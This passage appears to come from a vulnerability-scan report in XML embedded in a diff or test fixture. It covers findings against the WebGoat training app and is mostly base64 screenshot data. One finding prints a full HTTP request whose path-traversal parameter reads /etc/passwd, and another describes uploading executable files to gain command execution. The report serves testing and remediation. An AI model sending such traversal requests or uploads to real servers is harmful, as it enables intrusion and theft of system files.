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</data>\n</screenshot>\n<code>The
+        following HTTP request was used to retrieve the contents of the /etc/passwd
+        file:\nPOST /WebGoat/attack?Screen=306871788&amp;menu=200 HTTP/1.1\nHost:
+        targethost\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101
+        Firefox/9.0.1\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language:
+        en-us,en;q=0.5\nAccept-Encoding: gzip, deflate\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\nProxy-Connection:
+        keep-alive\nReferer: http://targethost/WebGoat/attack?Screen=306871788&amp;menu=200\nCookie:
+        JSESSIONID=7AFA29BB6A5D3E1908F035D1B17BB643\nContent-Type: application/x-www-form-urlencoded\nContent-Length:
+        59\n\nFile=../../../../../../../../../etc/passwd&amp;SUBMIT=View+File\n\n\nThe
+        response included the contents of the requested file.</code>\n</appendix>\n</flaw>\n</manualflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"25\" categoryname=\"Insufficient Input Validation\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Weaknesses in this category are related to an absent or incorrect protection
+        mechanism that fails to properly validate input that can affect the control
+        flow or data flow of a program.\"/>\n</desc>\n<recommendations>\n<para text=\"Validate
+        input from untrusted sources before it is used. The untrusted data sources
+        may include HTTP requests, file systems, databases, and any external systems
+        that provide data to the application. In the case of HTTP requests, validate
+        all parts of the request, including headers, form fields, cookies, and URL
+        components that are used to transfer information from the browser to the server
+        side application.\"/>\n<para text=\"Duplicate any client-side checks on the
+        server side. This should be simple to implement in terms of time and difficulty,
+        and will greatly reduce the likelihood of insecure parameter values being
+        used in the application.\"/>\n</recommendations>\n<cwe cweid=\"434\" cwename=\"Unrestricted
+        Upload of File with Dangerous Type\" pcirelated=\"false\" sans=\"864\">\n<description>\n<text
+        text=\"The software allows the attacker to upload or transfer files of dangerous
+        types that can be automatically processed within the product's environment.\"/>\n</description>\n<manualflaws>\n<flaw
+        severity=\"5\" categoryname=\"Unrestricted Upload of File with Dangerous Type\"
+        count=\"1\" issueid=\"270\" module=\"manual_analysis\" type=\"\" description=\"It
+        was possible to use the image upload functionality to upload arbitrary content
+        to the web server.\" note=\"\" cweid=\"434\" remediationeffort=\"3\" exploitLevel=\"2\"
+        categoryid=\"25\" pcirelated=\"false\" date_first_occurrence=\"2012-02-29
+        16:13:33 UTC\" remediation_status=\"New\" cia_impact=\"ppp\" grace_period_expires=\"2012-03-01
+        14:59:14 UTC\" affects_policy_compliance=\"true\" mitigation_status=\"none\"
+        mitigation_status_desc=\"Not Mitigated\" location=\"http://targethost/WebGoat/attack?Screen=1146227108&amp;menu=1600\"
+        cvss=\"9\" capecid=\"10\" exploitdifficulty=\"1\" inputvector=\"myfile\">\n<exploit_desc>By
+        sending the HTTP upload request an attacker can provide arbitrary content
+        within the POST body and an arbitrary filename. The attacker can then access
+        the uploaded file with a web-browser causing the uploaded file to be executed.\n</exploit_desc><severity_desc>If
+        an attacker is able to upload arbitrary content to a web accessible directory,
+        the potential exists for them to upload executable content with a first request
+        and then invoke it with a second request. \nIf successful, command execution
+        on the host operating system as the tomcat web server user would be possible.\nStatic
+        content could be uploaded to the server and accessed by anonymous Internet
+        users. This would allow the application to serve as an illicit fileshare.</severity_desc>\n<remediation_desc>The
+        provided filename should not be used in construction of the stored filename
+        without strict data validation occurring. Ideally, the user-provided filename
+        should be ignored and the stored filename constructed entirely from server-side,
+        trusted data. For example, the stored filename can simply be a GUID that is
+        an index to meta-data in the database. </remediation_desc>\n<appendix>\n<description>undefined</description>\n<screenshot
+        format=\"PNG\">\n<data>iVBORw0KGgoAAAANSUhEUgAAAwQAAAH0CAYAAACD9urSAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAGHjSURBVHhe7d09VBu72uhxcdctTAcdLp23gi5Ud1NyOrLec9dKutBddke60IUy6ZJu0x1K0pHiPSt0h5J0pAvVOS5Nh7u440pjC4SQRprvGc/fe3nHeDT6+Ekz1jMf9sq9fIgeP1ZWVkTPCXrc+8WbHjN+YtIUr0n5OXS13uVLkCMCCCCAAALLLbDS94BgubuX1iGAAAIIIIAAAgggkC7wvwBCAAEEEEAAAQQQQACB/goQEPS372k5AggggAACCCCAAAKCgIBBgAACCCCAAAIIIIBAjwUICHrc+TQdAQQQQAABBBBAAAECAsYAAggggAACCCCAAAI9FiAg6HHn03QEEEAAAQQQQAABBAgIGAMIIIAAAggggAACCPRYgICgx51P0xFAAAEEEEAAAQQQICBgDCCAAAIIIIAAAggg0GMBAoIedz5NRwABBBBAAAEEEECAgIAxgAACCCCAAAIIIIBAjwUICHrc+TQdAQQQQAABBBBAAAECAsYAAggggAACCCCAAAI9FiAg6HHn03QEEEAAAQQQQAABBAgIGAMIIIAAAggggAACCPRYgICgx51P0xFAAAEEEEAAAQQQICBgDCCAAAIIIIAAAggg0GMBAoIedz5NRwABBBBAAAEEEECAgIAxgAACCCCAAAIIIIBAjwUICHrc+TQdAQQQQAABBBBAAAECAsYAAggggAACCCCAAAI9FljKgGB7e1uoJw8EEEAAAQQQQAABBBBIF1i5l48mkPSE/fr6+qH42PdC9XXl41vHFTiYdQqVFbs8tk52faqoS2ydy0gX8o11KaMu5IEAAggggAACCCDwXGApzxDEdrQ5GVUTbz35bvLsghkALEswoG3b4Bs7NkiHAAIIIIAAAgj0RaCTZwiyHHU204bORqhOTztLYQ4Ke7KeVqdQfe3BFjpT4mqTr51mm7LWX6V3maXlYy7L0g69XpbyzPztsmLMfYFfljr0ZUdBOxFAAAEEEEBgeQUaCwhck2/fpC40kU+bDNpHpX1/+7o4NK